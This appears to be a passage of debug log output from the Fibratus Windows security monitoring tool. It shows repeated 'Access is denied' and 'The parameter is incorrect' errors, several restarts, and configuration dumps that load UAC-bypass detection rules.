+time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:45+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:46+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:46:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:58:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:58:49+01:00 level=info msg=bootstrapping with pid 6572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:58:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-thread=>true max-buffers=>36 min-buffers=>16 buffer-size=>512 stack-enrichment=>true enable-threadpool=>false enable-mem=>true enable-image=>true enable-audit-api=>true enable-fileio=>true enable-vamap=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info max-age=>0 formatter=>text log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 durable=>false exchange-type=>topic vhost=>/ passive=>false exchange=>fibratus timeout=>5s delivery-mode=>transient] elasticsearch=>[ flush-period=>1s sniff=>false timeout=>5s bulk-workers=>1 enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false trace-log=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:58:50+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:58:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:59:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:59:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:59:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:02:07+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T02:02:07+01:00 level=info msg=bootstrapping with pid 12256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T02:02:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false enable-registry=>true enable-fileio=>true min-buffers=>16 max-buffers=>36 stack-enrichment=>true enable-image=>true enable-thread=>true flush-interval=>1s enable-dns=>false enable-mem=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-handle=>false enable-net=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true max-size=>100 max-backups=>15 level=>info] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json timeout=>5s enabled=>false] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient vhost=>/ passive=>false url=>amqp://localhost:5672 durable=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false template-name=>fibratus index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s sniff=>false healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false timeout=>5s]] + pe ............................. [ read-symbols=>false read-resources=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true enabled=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false scan-timeout=>10s skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T02:02:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:02:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:02:13+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T02:04:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:04:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:04:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T02:04:36+01:00 level=info msg=bootstrapping with pid 340. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T02:04:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-image=>true buffer-size=>512 enable-registry=>true flush-interval=>1s min-buffers=>16 enable-handle=>false enable-net=>true enable-mem=>true enable-thread=>true enable-fileio=>true enable-threadpool=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true stack-enrichment=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-age=>0 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus delivery-mode=>transient passive=>false url=>amqp://localhost:5672 vhost=>/ durable=>false enabled=>false exchange=>fibratus exchange-type=>topic] http=>[ timeout=>5s serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false timeout=>5s template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s healthcheck-interval=>10s healthcheck=>true trace-log=>false bulk-workers=>1 sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s excluded-files=>[] fastscan=>true skip-mmaps=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T02:04:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:04:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:04:42+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T02:07:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T02:07:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:07:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T02:09:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T02:09:44+01:00 level=info msg=bootstrapping with pid 15604. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T02:09:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-fileio=>true enable-registry=>true enable-vamap=>true enable-dns=>false enable-thread=>true enable-audit-api=>true stack-enrichment=>true enable-mem=>true flush-interval=>1s min-buffers=>16 enable-image=>true enable-handle=>false enable-net=>true max-buffers=>36 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true formatter=>text max-backups=>15 max-age=>0] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false timeout=>5s endpoints=>[] enable-gzip=>false serializer=>json] amqp=>[ durable=>false exchange=>fibratus exchange-type=>topic timeout=>5s vhost=>/ delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s trace-log=>false enabled=>false template-name=>fibratus sniff=>false bulk-workers=>1 